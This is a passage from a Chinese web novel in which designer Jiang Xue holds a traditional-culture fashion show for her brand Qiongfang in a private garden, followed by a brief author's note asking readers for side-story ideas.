在其他人还不清楚“国风”是什么的时候，琼芳便打出了将传统文化与现代服饰相结合的旗号，一方面打破了人们印象中电视剧里古人都是宽袍长袖的印象，另一方面则是从满大街的外来流行文化中撕开了一道口子，用另一种方式将传统文化带回到了人们的视野当中。 要说现代人最追求什么，当然是追潮流、赶时尚，最重要的是要独一无二。而琼芳，主打的就是一个独一无二。 还有那支由苏丽娜拍摄的广告，最后一句“琼芳，传承千年文化”短短几天便火遍了大街小巷。 被选为品牌代言人的苏丽娜，在拍完广告后就签约了经纪公司，随即被一部古装剧的导演看中，大学还没毕业，就在电视剧里饰演了女二号，对比其他新人，这个起点可以说相当高了。 之后又有武凌的演唱会，野生代言人唐晓曦的大力宣传，最起码在这一年多的时间里，琼芳走的顺风顺水。 至于未来会发生什么…… 江雪深吸一口气，将目光投向秀场。 四五月份的苏市气温适宜，从一周前就是天清气朗的好天气，冬去春来，园林中更是一拍生机勃勃的好景色。 这座私人园林面积不是很大，但景色很好。在场景搭建和布置时，江雪要求尽可能的保留园林本来的风貌，负责场景设计的工作人员将现场设计图改了好几个版本，最终呈现的效果不说十全十美，最起码也有九分。 园林入口处的红毯区拍照区聚集了一大批的媒体记者，随着品牌代言人苏丽娜第一个走上红毯，快门声接连响起。不多时，唐晓曦和武凌也到了，众所周知，她们俩是琼芳设计师江雪的好朋友。 关嘉言也跟着去红毯上凑了个热闹，这是场女装秀，来的大都是女明星，关嘉言作为唯一一个男艺人，加上年龄小，很是被记者们调侃打趣了一番，赶紧签完名，火急火燎的从红毯上逃开了。 江雪这会儿忙的顾不上帮他。 时装秀一般分为好几种类型，像是高级定制和成衣就是两种不同的类型。不过也有围绕一个主题完成的时装秀，比如江雪这次就没有将高级定制和成衣区分开来，而是将主题定为“盛世雅韵”。 江雪为这次时装秀准备了三十套衣服，其中五套为高级定制，剩下的二十五套均为成衣。三十套衣服分为五组呈现，也就是说每套高级定制后跟着五件成衣，作为一个系列。 随着清扬缓慢的音乐声响起，四周刹那间安静下来。第一个模特自月洞门后走出，聘聘袅袅而来，刹那间便吸引了所有人的目光。身侧美轮美奂的园林景色在这一刻成为了陪衬，这正是这个时候，众人才明白江雪为何会将时装秀的地点设在园林之中。 …… 半个小时一晃而过，最后一位模特下场后，作为设计师的江雪自月洞门后现身，掌声随之响起。 江雪一边朝前走，一边笑着对两边挥手致意。在她身后，三十位模特按照不同的系列分成两列出场。 台下有她的朋友，唐晓曦、乔亚楠，还有正式改了名字的王春芽。也有她来到这里后自己选择的家人，关山越和关嘉言。而她此刻站在属于她的舞台上，阳光倾洒，岁月安然—— 作者有话说：此处征集番外[眼镜]《 》